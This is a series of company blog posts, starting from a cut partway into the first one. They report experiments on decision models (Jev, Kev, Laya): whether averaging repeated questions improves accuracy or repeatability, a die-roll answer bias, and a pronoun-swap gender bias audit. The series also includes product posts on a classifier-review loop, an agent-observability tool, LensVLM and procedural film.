  alt="Line chart of how often a repeated request changes Jev's answer, against the number of copies of the
  question in one request: 1, 2, 3, 5, 10 and 20. For the three-option logic task the rate goes from 2.5
  percent with one copy to 1.8 percent with ten and 2.0 percent with twenty. For the two-option task it goes
  from 2.0 percent to 1.2 percent with ten and 1.4 percent with twenty. Ten copies gave 29 and 37 percent
  fewer changed answers than one copy."
  caption="How often sending the same request again changes the answer. Each point is 1,000 logic problems answered five times. The vertical bars show how uncertain each rate is on its own; the comparison with one copy is tighter, because it's made problem by problem."
}

## How we tested it

[Jev](/blog/making-decisions-instead-of-generating-text/) takes a piece of text and a set of typed questions, and returns a probability for every option of every question. Questions in one request share the text, so a second copy of a question costs only the question's own tokens: about 175 extra input tokens on our logic task, against 560 for the whole request with one copy. Ten copies cost 3.8 times as much as one. Jev's output is free.

"Pooling" here means the simplest thing: put k identical copies of the question in one request, average the probabilities the copies return, and take the option with the highest average.

We ran three studies, each written down before any answers came back ([the preregistrations](https://github.com/AnthusAI/Decision-Averaging/tree/main/docs)):

1. **Accuracy with identical copies.** 1, 3, 5 and 10 copies on 1,800 logic problems from [ProofWriter](https://allenai.org/data/proofwriter), in two versions: one where every statement is true or false, and one where it can also be unknown.
2. **Accuracy with varied copies.** Three copies with the options in a different order, and three with the question reworded, on the logic problems and on 2,000 short posts labelled with one of six emotions.
3. **Repeatability.** 1, 2, 3, 5, 10 and 20 copies, each sent five separate times, on 1,000 problems from each logic task.

Everything ran on `jev-1.13.0`, about 100,000 requests, $5.50 in total.

## It doesn't make Jev more accurate

Accuracy was the first thing we tested, because a more accurate answer would have been worth paying for. It didn't improve: not with three copies, not with twenty, not with the options shuffled or the question reworded. Across every arm and task, pooled accuracy stayed within a point of a single answer.

::image{
  src="images/jev-pooled-accuracy.png"
  layout="full"
  alt="Line chart of accuracy against the number of copies in one request. The two-option task stays between
  89.3 and 89.6 percent; the three-option task stays between 84.6 and 85.2 percent, from one copy to twenty."
  caption="Accuracy on the same 1,000 problems per task, averaged over five runs. The lines are flat from one copy to twenty."
}

The first problem we tried had already shown why: when the copies split, the majority was wrong. Across the full sets, the copies usually agree with each other, and they often agree on the wrong answers too. On the three-option task, about 16% of answers were wrong, but identical copies in a request disagreed on only 3 to 4% of problems. Even a perfect referee that picked a right copy whenever one existed would have gained less than 2 points. Varying the copies made them disagree more often, up to two and a half times as often on the emotion task, but only on problems Jev was already unsure about, and accuracy still didn't move.

In the book's terms, Jev's mistakes are bias: every copy makes them, so averaging copies leaves them in place. Pooling did remove noise, as the next section shows. But *Noise* also argues that cutting noise cuts error, and that's true for a number like a premium or a sentence length. For a yes-or-no call near its tipping point, it isn't. The problems that flip are ones where Jev is close to a coin toss, and averaging settles each one on one side, which is right about half the time. Same mistakes, made more consistently.

## It does make Jev more repeatable

So we changed the question. If averaging can't make the answer right, can it make the answer the same each time you ask? We sent every request five separate times and counted how often two runs of the same request disagreed.

| Copies | Cost | Three-option task | Fewer changes | Two-option task | Fewer changes |
|---|---|---|---|---|---|
| 1 | 1.0× | 2.5% | | 2.0% | |
| 3 | 1.6× | 2.0% | 18% | 1.6% | 21% |
| 10 | 3.8× | 1.8% | 29% | 1.2% | 37% |
| 20 | 6.9× | 2.0% | 19% | 1.4% | 28% |

Ten copies was the only setting that clearly beat one copy on both tasks. Compared problem by problem, its 95% intervals were 9% to 47% fewer changes on the three-option task and 16% to 57% on the two-option task. Three copies was cheaper and pointed the same way, but its intervals included zero.

## Why ten, and not twenty

If the copies were independent, twenty would have beaten ten easily: the wobble of an average of twenty independent answers is under a quarter of one answer's. It didn't. The wobble in the pooled probability between runs fell only from 0.017 with one copy to 0.013 with ten and 0.012 with twenty.

Split that wobble into the part each copy has on its own and the part every copy in a request shares, and the shared part is about half. When a request comes back a little different, all of its copies move together, and no amount of averaging inside the request can cancel that. It's the same point Kahneman makes in *Thinking, Fast and Slow* (2011) about combining judgments: they only help as much as they're independent. Jev bills itself as a "System One" model, after the fast, intuitive System 1 of that book, and its ten copies in one request are ten opinions from one sitting.

We also checked whether the copies get noisier in longer requests. They don't: the spread between copies in a request is the same at three copies as at twenty. The dip at twenty is most likely chance around a plateau that starts near ten.

## Close calls stay close calls

The answers flip when Jev's top two options are nearly tied. Pooling tightens them, so they flip less often, but it can't move them away from the tie.

::image{
  src="images/jev-pooled-close-calls.png"
  layout="full"
  alt="Dot plot of the eight least stable problems on the three-option task. With one copy, each problem's
  five runs spread across about 0.3 to 0.6 probability. With ten copies the five runs sit closer together but
  still around the middle, mostly between about 0.4 and 0.6."
  caption="Each row is one problem, each dot one of its five runs. Ten copies pull the runs together, but they stay where they were: in the middle."
}

So a pooled answer on a close call is steadier, and no better supported than before. If a close call matters, it still needs a second look.

## What it costs

Jev charges $42 per billion input tokens, and output is free. Each copy adds about 160 input tokens on these tasks (175 on one, 149 on the other), so a million decisions cost about $23 with one copy, $80 to $90 with ten, and $140 to $160 with twenty. Latency barely moves: a median of 174 ms with one copy, 181 ms with ten.

The more useful number is what each avoided change costs. Ten copies add $56 to $66 per million decisions and prevent about 7,000 to 7,500 changed answers per million repeats, so each one costs under a cent: $0.008 to $0.009. Three copies come out cheaper, about $0.003 each, but their improvement isn't clearly bigger than chance. Twenty copies cost $0.02 to $0.03 each, because the extra ten buy almost nothing.

Your copy cost is the length of your question, so a long question makes every copy dearer, and a long document makes the copies relatively cheaper, since the document is only sent once.

::image{
  src="images/jev-pooled-cost.png"
  layout="full"
  alt="Line chart of how often a repeat changes the answer against Jev's cost per million decisions. Both
  tasks fall from about 2 to 2.5 percent at about 23 dollars with one copy to their lowest at ten copies, 79
  to 90 dollars, then rise slightly at twenty copies, 141 to 163 dollars."
  caption="Changed answers against what a million decisions cost on Jev. Past ten copies, extra money buys nothing."
}

## When it's worth paying for

Because accuracy doesn't change, pooling only pays when a changed answer costs you something by itself. That's a narrow set of situations. The clearest cases are when the same input gets decided again, and you can't reuse the first answer:

- **Reprocessing with a new question added.** You re-run a backlog because the request now asks something extra. Jev's answers depend on what else is in the request, so the old labels can't simply be carried over, and every label that changes for no reason is churn downstream: rewritten records, re-sent notices, a diff somebody has to explain.
- **Two parties checking the same thing.** A marketplace and a seller both run one policy check on one listing; a router and a compliance service both classify one message. They're separate systems and can't share answers, and every disagreement is a dispute or a manual reconciliation.

A second group looks just as plausible, but our studies only sent byte-identical requests, so it's untested: inputs that are nearly the same.

- **Records re-scored as they change.** A ticket's priority is re-checked every time someone comments. A spurious flip re-routes it or pages someone.
- **Agents that re-ask each turn.** An agent asks what the user wants at every step, and a flip switches plans for no reason.
- **Jev as a judge.** Scoring a new prompt or model version on a fixed test set, where run-to-run noise creates false regressions or hides real ones.
- **One case through two channels.** The same complaint by email and by web form, labelled differently.

Two cautions. Pooling reduces changes; it doesn't end them, and at ten copies about 1.2 to 1.8% of repeats still disagree. And making a wrong answer more repeatable has a cost of its own: with random errors, someone wrongly turned down may get the right answer next time, but with repeatable errors the same people lose every time. Kathleen Creel and Deborah Hellman make that argument in ["The Algorithmic Leviathan"](https://doi.org/10.1017/can.2022.3), and A. Feder Cooper and colleagues show how much individual predictions can swing from run to run in ["Arbitrariness and Social Prediction"](https://arxiv.org/abs/2301.11562).

## Check it yourself

The code, the 100,000 recorded answers and the three preregistrations are in [AnthusAI/Decision-Averaging](https://github.com/AnthusAI/Decision-Averaging). `da replay` recomputes every number from the recorded answers without calling Jev, and every chart comes from a script in the repo. The [write-up](https://github.com/AnthusAI/Decision-Averaging/blob/main/docs/findings.md) scores every prediction we made, including the ones we got wrong: we expected pooling to help most on the hardest problems (it didn't help anywhere), and we expected twenty copies to be at least as steady as five (on the two-option task, they weren't).

The limits are real. One model, one version, all on one day. The logic problems are synthetic, and the emotion labels are noisy. And the repeatability numbers come from identical requests, so how much pooling helps when the input changes a little is still open. That's the next thing to measure.

---

# Primus Is a Classifier Lab: Operationalizing Classifiers at Scale

> A hosted decision model sat at 77 percent accuracy through 87 rounds of reviewer feedback, then one approved question took it to 87. Here is the loop that did it, every figure published, and the offer to run it on your judgment task.

By [Ryan Porter](https://anth.us/ryan) · Published 2026-09-27

Canonical: https://anth.us/articles/primus-classifier-lab/

::image{
  src="images/primus-classifier-lab.png"
  layout="full"
  alt="Four accuracy gauges from Primus: 77 percent before, 87 after one approved question, 89 for the hosted
  teacher, 91.2 for the distilled student you own."
}

Say you've got a hosted decision model grading text for you: support tickets, call transcripts, product reviews. It's fast and cheap, and most of the time it agrees with your reviewers. We put one in front of 8,801 labelled items and had reviewers agree or disagree with its verdicts one at a time, the way a QA team would. Its stated confidence moved toward its real accuracy fast. Out of the box it was about 15 points overconfident; after 87 rounds of feedback the gap was 3. Its accuracy didn't move. Through those same 87 rounds it sat at 77 percent, because the rule the reviewers were following wasn't in any question we'd asked it.

At 140 rounds the system read the disagreements, wrote the unwritten rule in one plain sentence, and proposed one extra question for the model. A person read the proposal and approved it. Accuracy went from 77 to 87 percent. Nobody trained anything.

Everything else in the method follows from that run. There are two usual ways to get a classifier: build a labelled dataset first and train your own, or take the zero-shot answer as it comes. The run above is a third way. Start classifying now with a decision model. Review its decisions as it makes them, and label the ones a reviewer disagrees with. Those labels cost far less than a dataset built up front, and they're what keeps the classifier aligned from then on.

That's the method we run through Primus, our MLOps platform. Every number here comes from work we've published. Here's the loop, one step at a time.

## The loop

**Seed it with a few labels.** Reviewers read a sample of cases and record the verdict they'd give. That's the seed, and it doesn't need to be big. When we distilled a hosted decision model into a small one, 140 recorded human judgments were enough to align a hosted decision model and start the loop.

**Score it against people, not against itself.** A classifier that agrees with its own training data has proved nothing. Score it against held-out human judgments it never saw. In that same study, a small model trained only on a bigger system's outputs still had to answer to human labels, and that's the number that counted: 91.2 percent agreement with the human verdict, against 89.0 for the bigger system it learned from. The small model wasn't smarter. It just didn't inherit the bigger one's blind spots on this data, and you'd only catch that by scoring against people.

**Calibrate the confidence.** A raw model score isn't a probability of being right. In our testing, verdicts that came back at 95 to 100 percent confidence were right 83.5 percent of the time. Calibration fixes that: fit the raw score to observed accuracy on labelled data, so "90 percent confident" means right about 90 percent of the time. Only then can you gate on it.

**Route the rest to a person.** Confident, low-stakes cases pass through. The uncertain middle, and anything above a stakes threshold, goes to a reviewer. Every case a reviewer touches becomes a labelled example the model didn't have, aimed at the cases it was least sure about. That's human-in-the-loop doing its actual job: making the model less wrong.

**Refit on what they decide.** The reviewers' decisions feed back and the classifier refits. That's the data flywheel in plain terms. The model's own uncertainty tells reviewers where to look, and their answers resolve exactly the uncertainty that was limiting coverage.

**Promote a version only when it earns it.** A retrained model doesn't replace the old one on an overall average, because an average can hide a bad pocket. It has to clear held-out review on every slice reviewers care about. There, the gate required the new model to land within two points of the old one on each of eleven slices. It cleared ten. The eleventh, a mixed-signal slice of 150 items, stayed on the old path. A reviewer would've caught that slice in five seconds; the gate means nobody has to catch it after the fact.

We also test the safety nets. We built a fallback that sent the model's uncertain cases to the bigger, costlier system, the move most teams assume is safe. Across five confidence thresholds it never beat the small model alone, because the cases it was unsure about were the ones the big system struggled with too. We kept the finding and dropped the fallback.

## What the scorecard looks like

What you get from the loop is a scorecard: one row per version, scored on the same held-out items nobody ever touched. Here's the real one from the run above.

| Scorecard | Accuracy | Calibration error (ECE) | Brier |
|---|---|---|---|
| v1: model alone | 0.768 | 0.151 | 0.188 |
| v2: after a refit on 37 labels | 0.763 | 0.112 | 0.177 |
| v3: after a refit on 87 labels | 0.765 | 0.030 | 0.164 |
| v4: after one approved question, 140 labels | **0.870** | **0.030** | **0.093** |

Read it top to bottom and you can see the loop's two moves in order. Calibration closes first, on labels alone. Accuracy waits until the questions change, and then moves in one step. A production scorecard adds the per-slice rows and the size of the review queue, and it gets a new row every time a version is promoted, so the trend lives on the record instead of in someone's memory.

## Why now

Two years ago, running this loop well cost enough that only a high-volume task justified it. That's changed. A given level of model capability has been getting several times cheaper each year, so the question has shifted from "what's the smartest model" to "what does this specific job cost at the accuracy I need, and can I afford to keep checking it." Cheap models make the whole loop affordable: evaluation, calibration, gating, retraining. A smarter model with nobody watching is still a guess with better vocabulary. A cheaper one that's gated, reviewed, and retrained gets steadily more trustworthy on the work you actually trust it with.

## At scale

We've run this loop in production for years, for a client running quality assurance across a call-center operation, on the platform we built for it: hundreds of scorecards at once, millions of interactions cumulatively. Volume doesn't change the loop. It just means more scorecards, each with its own gate and its own reviewers, run with the same discipline.

## Who runs it

None of this is secret. What we bring is the discipline to keep the loop running on your scorecards after the novelty wears off: the calibration that would otherwise go stale, the slice nobody re-checked in months, the safety net nobody tested. Primus is where we run that discipline, managing training, evaluation, deployment, and monitoring for a classifier built to get smarter, not one built to just run.

If you've got a high-volume judgment call your review team can't keep up with, we'll build the classifier, run the loop, and hand you the scorecard every month instead of once a year. The whole loop, with the published measurement behind each step, is on the [decision models page](/decision-models/). [Here's how an engagement works.](/engage)

---

# DataParade

> DataParade is a privacy and security product built on a semantic knowledge graph, with a custom ontology and taxonomy that ties into the OCSF standard. Anthus is working with DataParade to develop it. It belongs to the new class of tooling that lets people see what AI agents are doing across a proj…

By [Ryan Porter](https://anth.us/ryan) · Published 2026-09-26

Canonical: https://anth.us/articles/dataparade/

## Observability for delegated work

DataParade is a privacy and security product, and Anthus is working with the DataParade team to develop it. At its core is a semantic knowledge graph: a structured record of what happened in a system, to which assets, under whose authority. On top of the graph sits a custom ontology and taxonomy that ties into the [Open Cybersecurity Schema Framework](https://schema.ocsf.io/), so the record speaks the same language as the security tooling an organization already runs.

It belongs to a class of technology that is arriving because of a change in how software gets built. As teams delegate coding to AI agents and step back from the code, the old instruments for knowing what's going on, reading the diff and sitting in the standup, stop scaling. What replaces them is a record you can query: what did the agents touch, what data did it involve, who approved it, and does any of it cross a line. That's the question DataParade is built to answer.

## Why it matters to a software factory

You can't let a thousand agents churn through thousands of tasks without a way to monitor and steer them. Observability of that kind is a prerequisite for operating a software factory at all, and it's the same principle behind [Kanbus](/platform/kanbus), where the project record lives in the repository, and [Primus](/platform/primus), where every promoted change carries its evidence. A knowledge graph with a security ontology is the layer that makes the record meaningful for privacy and compliance: not just that something changed, but what kind of thing it was and whether it was allowed.

Human-in-the-loop processes are what turn that record into control. The graph shows the operator what the agents did; the operator decides what's acceptable and says why; the decision becomes policy the system applies from then on. That loop is the one Anthus has run in production for years on classification work, and it's the loop the next level of delegated software work depends on.

## What Anthus is doing

Anthus is a development partner on the product: the knowledge graph, the ontology and taxonomy work against OCSF, and the agent-facing and operator-facing surfaces around them. It's built the way we build everything, as a factory-run project with the work tracked in Kanbus and a human approval on every merge.

## Where to learn more

- Product site: [dataparade.io](https://dataparade.io)
- The standard it maps to: [OCSF](https://schema.ocsf.io/)
- How we run projects like this: [How an engagement works](/engage)

---

# Decision Models Are Not Calculators

> Jev chose one in every ordering of a fair-die question; Kev leaned toward one, and Laya overwhelmingly chose six. Benford's Law remains a hypothesis.

By [Ryan Porter](https://anth.us/ryan) · Published 2026-09-25

Canonical: https://anth.us/articles/decision-models-are-not-calculators/

[Jev](https://typesafe.ai/blog/introducing-system-one-models-and-jev) is a decision model: give it a description and a list of possible answers, and it returns a choice and probabilities for the options. We asked it which face had shown on a fair six-sided die rolled out of sight. Jev chose one and assigned it 88% probability. With no information about the roll, every face still had the same one-in-six chance. Why did the model favor one so strongly?

We had a hypothesis inspired by Benford's Law. First we looked at Jev's answer. Then we moved one around the list of choices and asked two other decision models the same question. The results took us somewhere less tidy than our initial explanation.

That's not just a curiosity. A model whose confidence doesn't track reality is exactly the kind of failure a fixed benchmark won't surface, since a benchmark asks the same handful of questions once. Catching it takes watching a model decide again and again on cases where you already know the answer, and correcting course when it's wrong. That's the loop Anthus runs for clients: put a decision model in front of real cases, watch where its confidence and its accuracy pull apart, and fix it.

## A hypothesis about ones

In [The Dominance of Ones](/blog/the-dominance-of-ones/), I looked at Benford's Law: one appears as the *leading digit* more often than other digits in certain observed numerical datasets. Maybe patterns like that in training data leave a model inclined to pick `1` when a prompt provides no evidence for any answer.

That's a possible explanation for a model's behavior. The die stays fair. We didn't inspect Jev's training data, and Benford's Law alone doesn't tell us how often its training corpus contained the token `1`. We could measure the prediction pattern. We couldn't yet name its cause.

## The preliminary result

Our first request described a fair die that had already been rolled, but whose result nobody saw. The model had no clue about which face showed. Here's the ordinary-order request we sent to Jev, one of the [exact requests preserved in the public experiment](https://github.com/AnthusAI/Decision-Models-Are-Not-Calculators/blob/main/results/examples.json):

```json
{
  "model": "jev-latest",
  "state": "A fair six-sided die was rolled once. The result is unknown.",
  "questions": {
    "die_result": {
      "type": "choice",
      "instructions": "Which face showed on the roll?",
      "criteria": {
        "1": "the die face marked 1",
        "2": "the die face marked 2",
        "3": "the die face marked 3",
        "4": "the die face marked 4",
        "5": "the die face marked 5",
        "6": "the die face marked 6"
      }
    }
  }
}
```

Jev selected one. The linked example preserves its complete response:

| Choice | Reported confidence | P(1) | P(2) | P(3) | P(4) | P(5) | P(6) |
| :-- | --: | --: | --: | --: | --: | --: | --: |
| 1 | .85 | .88 | .01 | .02 | .05 | .01 | .03 |

Taken alone, this answer looks like support for our hypothesis.

But one was the **first-listed choice** in this request. Maybe Jev was following the top of a list. The recorded request belongs to our full test matrix. Viewed alone, it shows why we needed the rest of the test.

## Does moving one change the answer?

Six choices have **720 possible orders**, so we sent Jev every one. We used digits (`1` through `6`) and words (`one` through `six`), then repeated both sets. Every face occupied every list position exactly 120 times per label form and pass. The [preregistered protocol](https://github.com/AnthusAI/Decision-Models-Are-Not-Calculators/blob/main/docs/PREREGISTERED.md) fixed that test before inference.

Jev chose **one in all 2,880 requests**. Face one moved through all six list positions; Jev still chose it 120 times from each position in each digit pass. It made one the unique highest-probability face in all 1,440 digit-labelled replies and chose `one` in every word-labelled reply. Across the first digit pass, its mean returned P(1) was **89.7%**, against **4.4%** for face six in the [released summary](https://github.com/AnthusAI/Decision-Models-Are-Not-Calculators/blob/main/results/summary.json).

One followed its label around the list. That rules out a simple “always pick the first option” account of Jev's choices. But the result still doesn't tell us what Jev saw during training, or why it learned to respond this way.

## The other models changed the story

Would the same preference show up elsewhere? We gave the identical question matrix to [Kev](https://github.com/jaredpalmer/kev) and [Laya](https://huggingface.co/convaiinnovations/laya), changing only the model identifier in each request. All **8,640 planned responses** across the three models were valid, as the [release manifest](https://github.com/AnthusAI/Decision-Models-Are-Not-Calculators/blob/main/results/release-manifest.json) records. The [complete summary](https://github.com/AnthusAI/Decision-Models-Are-Not-Calculators/blob/main/results/summary.json) gives the comparison:

| Model | Face 1 selected, all 2,880 replies | Face 6 selected, all 2,880 replies | Mean P(1), digit pass 1 | Mean P(6), digit pass 1 |
| :-- | --: | --: | --: | --: |
| Jev | 2,880 | 0 | 89.7% | 4.4% |
| Kev | 1,410 | 294 | 18.6% | 18.4% |
| Laya | 40 | 2,610 | 6.5% | 66.2% |

::image{
  src="images/decision-models-are-not-calculators.png"
  layout="full"
  alt="Decision Models Are Not Calculators: mean reported probabilities for digit-labelled die faces. Jev
  concentrates on one, Kev is comparatively even, and Laya concentrates on six."
}

Kev selected one in **49.0%** of its replies. That's a preference, but nothing like Jev's. Its mean digit probabilities were much closer to one-sixth, and in the first digit pass it chose the **first-listed option in 426 of 720 orders**. Laya went the other way: it selected **six in 2,610 replies**, or **90.6%**. With word labels, its mean reported P(six) reached **91.8%** in the first pass. None of those patterns reveals a training-data cause.

::image{
  src="images/decision-models-face-probabilities.png"
  layout="full"
  alt="Mean reported probabilities by die face and label form for Jev, Kev, and Laya. The dashed line marks
  the one-in-six fair-die baseline."
}

The chart groups probabilities by the face named in each answer, even when that answer moved to another position. The dashed line marks the fair-die baseline stated in the prompt, independent of the models' outputs.

## Choice order still mattered

The ordering test did more than rule out a first-slot shortcut for Jev. In the first digit pass, Laya **never selected the last-listed option**. Kev's first-position preference was much stronger than a position-neutral pattern across this balanced matrix. Spelling the same faces as words changed Kev's selected answer in **324 of 720 paired orders** and Laya's in **129**. Jev kept choosing one.

::image{
  src="images/decision-models-option-position.png"
  layout="full"
  alt="Selected-option share by list position for Jev, Kev, and Laya with digit and word labels. Kev favors
  early positions; Laya's digit responses never choose the final position."
}

Exact repeat requests selected the same face in every case for all three models. Kev and Laya returned identical probability vectors on repeat; Jev's probabilities moved slightly without changing its choice. Those repeats check stability of the model response. They aren't new die rolls.

The [build notes](https://github.com/AnthusAI/Decision-Models-Are-Not-Calculators/blob/main/docs/engines.md) pin the three systems. Jev's hosted replies identified `jev-1.13.0`; Kev and Laya used pinned local builds. We compare their returned choice probabilities, without treating the separate confidence fields as calibrated probabilities of correctness. Jev also rounds its probabilities to two decimal places; the [measurement note](https://github.com/AnthusAI/Decision-Models-Are-Not-Calculators/blob/main/docs/measurement-notes.md) records that limitation.

## What the result leaves open

**Benford's Law might help explain Jev's distribution of predictions.** That's the limit of the claim. We didn't inspect training corpora, count their leading digits or numeral tokens, or retrain a model with those frequencies changed. Jev's pattern is consistent with the idea; the experiment doesn't establish the mechanism.

Kev's partial preference for one and Laya's strong preference for six don't fit the same simple story. Choice order and spelling affect them, but we can't explain their distributions from these measurements.

It's the same caution we apply to every decision model we put into a client's scorecard: calibrate stated confidence against reviewer labels before it's allowed to drive an auto-accept threshold, and recheck it when the question or the ordering changes.

If you need a fair die, use a random-number generator. If you need a decision model, test its answers under reordered choices and equivalent labels before using its reported probabilities to make a consequential decision. The [MIT-licensed experiment](https://github.com/AnthusAI/Decision-Models-Are-Not-Calculators) includes the exact requests and replies, complete response archives, code, and figures.

None of that makes Jev, Kev, or Laya untrustworthy. It makes them decision models, not calculators: each returns a confident-sounding number that has to earn trust against outcomes you can check, the same way a reviewer's hunch does. That's the habit behind every scorecard Anthus runs for clients, and it's why a stated confidence never ships to production on its own.

---

# Text as an Image, Then a Magnifying Glass

> Text as an Image, Then a Magnifying Glass: LensVLM compresses text by showing it to a vision-language model as an image, then opens the original text where the answer lives.

By [Ryan Porter](https://anth.us/ryan) · Published 2026-09-24

Canonical: https://anth.us/articles/text-as-image-lensvlm/

::image{
  src="images/posts/text-as-image-lensvlm.png"
  layout="center-small-image"
  alt="Figure 7 from the LensVLM paper: the same text at 5×, 10×, and 15× visual compression, becoming
  progressively harder to read"
}

Strange but true: “A growing line of work compresses text by rendering it as images for VLMs.” That's the premise of the [LensVLM paper](https://arxiv.org/abs/2605.07019). Its Figure 7, shown here, packs the same passage into three image sizes. By 15× compression, the text is barely legible.

## Why it matters

A long document consumes context even when the answer needs only one part of it. Rendering the text as images gives a vision-language model a smaller initial view. LensVLM scans that view to pick a relevant region, then uses an Expand tool to read the retained source text. The model doesn't have to reconstruct unreadable letters from pixels.

## Key technical notes

The authors report question-answering accuracy comparable to a full-text baseline at 4.3× *effective* compression across seven benchmarks. That rate counts both the initial visual tokens and the text returned by Expand. In their batch-size-one test, a typical single expansion took about 17 seconds, versus about 8 seconds for the text baseline. The trade is less context and KV-cache memory for another inference turn.

Image: Figure 7 from Xie et al., [LensVLM](https://arxiv.org/html/2605.07019v1).

---

# Procedural Film: Movies Drawn in Code

> People are making films with Opus 5.5 that contain no image or audio files at all, every frame drawn on a canvas and every sound synthesised in JavaScript, and there's an open-source agent skill that does it for you.

By [Ryan Porter](https://anth.us/ryan) · Published 2026-09-23

Canonical: https://anth.us/articles/procedural-film/

::image{
  src="images/posts/procedural-film.png"
  layout="center-small-image"
  alt="Six frames from the procedural-film butterfly film, alternating hand-inked paper shots and navy
  blueprint shots"
}

[procedural-film](https://github.com/kuhnhomeuk-cell/procedural-film) is an agent skill that turns a topic into a 30-second vertical film. Every pixel is drawn in vanilla JavaScript on a canvas, every sound is synthesised in Web Audio, and the finished film ships with zero media assets. The output is one self-contained HTML player plus MP4 exports.

The reference film is the life cycle of a monarch butterfly: 17 shots, 32 seconds, 120 bpm, 1080x1920 at 24 fps, alternating hand-inked paper shots with navy blueprint ones. It's modelled on Kevin Ngo's ["The life of a fruit fly"](https://x.com/kevin_t_ngo/status/2099858454043349342), and the repo credits it.

## Why it matters

Generative video usually means a model that emits pixels. This goes the other way: the model writes a program, and the program is the film. That makes the result editable, reproducible, and small. Change a color, a timing, or a beat of the score, and you re-render instead of re-rolling.

It's also a good look at what a capable coding model does with an open-ended creative brief when it has real structure to work in.

## Key technical notes

- **One agent per shot.** Each shot's scene file runs 1000+ lines of canvas code, written by its own subagent in parallel.
- **Critic waves.** Separate agents review every shot against the shot-type index and the reference frames before anything ships.
- **A hard gate.** A six-check script has to exit green before a render is accepted.
- **Cost.** The repo is upfront that a film spends a large share of a usage plan.
- **Requirements.** Node.js 20+, ffmpeg, Chromium for Playwright, and an agent that runs skills and dispatches parallel subagents, such as Claude Code. MIT licensed.

For us, it's a clean example of the same pattern we build in production: decompose the work, fan it out to agents, and put a critic and a machine-checkable gate between the draft and the release.

## Source

- [procedural-film on GitHub](https://github.com/kuhnhomeuk-cell/procedural-film)
- [The life of a fruit fly, Kevin Ngo](https://x.com/kevin_t_ngo/status/2099858454043349342)

---

# The One-Word Test: How Jev and Laya Read Gender, Race and Age

> Two thousand real bios per job, first names blanked, one pronoun swapped, both decision models asked twice. Laya's verdict moved on 8 to 18 bios in 100, Jev's on 1 to 4, almost always toward the stereotype. Here is the method, the jobs, the shortlist, and what names and ages do.

By [Ryan Porter](https://anth.us/ryan) · Published 2026-09-22

Canonical: https://anth.us/articles/one-word-test/

Change one word in a professional bio, "he" to "she", and ask a model the same question twice. ==If the verdict moves, the pronoun moved it, because nothing else changed.== That's the one-word test, and the share of verdicts that move is the number we report. We ran it on the two fast decision models anyone can get: [Jev](https://typesafe.ai/blog/introducing-system-one-models-and-jev), a commercial service, and [Laya](https://huggingface.co/convaiinnovations/laya), a free open-weights model; their makers call them System 1 models, after Kahneman's name for fast, instinctive thinking. Four occupation pairs, 2,000 real bios per pair, first names blanked, both models asked twice. Laya's verdict moved on 8 to 18 bios in 100 and Jev's on 1 to 4, in the stereotype's direction nearly every time. On those four the size of the effect rose with how gendered the pair is; three more pairs, added later, kept the direction and broke the order. The story, for anyone who doesn't need the method, is [We Told the AI She Was a Woman. It Demoted Her](/blog/encoding-prejudice/)

::image{
  src="images/one-word-test-cover.png"
  layout="full"
  alt="Four bars of the share of verdicts that changed when he became she, for the open model Laya, on 2,000
  real professional bios per job: teacher or professor 7.6 percent, surgeon or physician 8.0, nurse or
  physician 13.5, paralegal or attorney 17.8. Headline: four jobs, one word changed; the more gendered, the
  more it moved."
  caption="Laya, the open model, on four occupation pairs: 2,000 real bios each, first names blanked, one pronoun swapped. The bars are the share of verdicts that changed, and they rise in the order the gap in women's share predicts. Jev moved too, at about a fifth the size."
}

Ask Jev or Laya about a bio and you get `physician`, 0.83, and nothing else. There's nothing to read, so the only way to know what a fast model is reading is to change one thing and ask again.

Two answers get proposed when someone asks whether a deployed classifier discriminates: benchmark it once before launch, or trust the accuracy number and move on. We run a third for clients: audit the classifier that's already live, on real records, broken out by slice, before it goes in front of people and again on a schedule after. That's the one-word test, run continuously instead of once, on a name or a pronoun, so a shift shows up as a number your team tracks instead of a story someone tells after the fact.

## The test: change one word

The corpus is [Bias in Bios](https://huggingface.co/datasets/LabHC/bias_in_bios), about 400,000 professional biographies scraped from the web, each labelled with an occupation and the person's gender; [De-Arteaga and colleagues built it in 2019](https://arxiv.org/abs/1901.09451) to show that occupation classifiers trained on it use gender cues.

We started with one pair of occupations that share a vocabulary and differ in who does them, surgeon (14.8% of the test-split bios are women) against physician (49.4%). One question, the same for both engines: "Is this person a surgeon or a physician?" 3,000 bios of each, 2,000 held out, first names redacted to `[name]` so the only gender cue left is the grammar. Then the twin: every held-out bio rewritten with the pronouns and role nouns swapped, about three tokens each, and asked again. The redaction is the one deviation from the pre-registered design, recorded before any Jev request was sent: a check found the subject's first name in the body of 28% of bios, and removing it moved Laya's flip rate from 7.9% to 7.95%.

The number we report is the **flip rate**: the share of bios whose verdict changed. The recall gap the literature reports mixes the model reading gender with women's bios being written differently; a flip is causal, because nothing changed but "she". Every prediction about the swap was written down before either engine answered, in [the repo's pre-registration](https://github.com/AnthusAI/Jev-Flywheel/blob/main/studies/PREREGISTERED.md), and the whole thing replays offline from committed fixtures.

This is the same shape of check we run before a scorecard ships in production: score held-out items overall and by slice, since a model can look fine on average and still be systematically wrong for one group. Every promotion in [Plexus](/platform/plexus) gets checked that way, and a regression on a slice holds up the release even when the aggregate number improved.

## Worst case, measured: the open model

Laya is a 421M-parameter ModernBERT with open weights, free to run, and [we've had good things to say about it](/blog/jev-vs-laya/). On this test it's the cautionary tale.

| Pronouns swapped, 2,000 held-out bios | Jev | Laya |
|---|---|---|
| Accuracy, surgeon vs physician | 0.785 | 0.673 |
| Verdicts that flipped | **1.05%** (21) | **7.95%** (159) |
| Men's bios that flipped when rewritten as women's, and moved to "physician" | 15 of 16 | 138 of 139 |
| Recall for "surgeon", women's bios vs men's | 0.985 vs 0.999 | 0.221 vs 0.397 |

::image{
  src="images/encoding-prejudice-flips.png"
  layout="full"
  alt="Bar chart of the share of bios whose verdict flipped under three edits, for Jev and Laya, each drawn
  over a faint control-floor bar where a floor exists. Gender, pronouns swapped, 2,000 bios: Jev 1.1 percent,
  Laya 8.0 percent, no floor. Race, a Black full name against a white one, 500 bios: Jev 0.4 percent against
  a 0.4 percent floor, Laya 2.6 percent against a 3.8 percent floor. Age, 34 against 61, 1,231 bios: Jev 1.3
  percent against a 0.9 percent floor, Laya 1.0 percent against a 0.5 percent floor."
  caption="One method, three characteristics, two engines. Each solid bar is the share of verdicts that changed; the faint bar behind it is the control floor, how often the verdict changed under an equally trivial edit (a second white name, a one-year age change). The pronoun swap has no floor because the swap is the only edit."
}

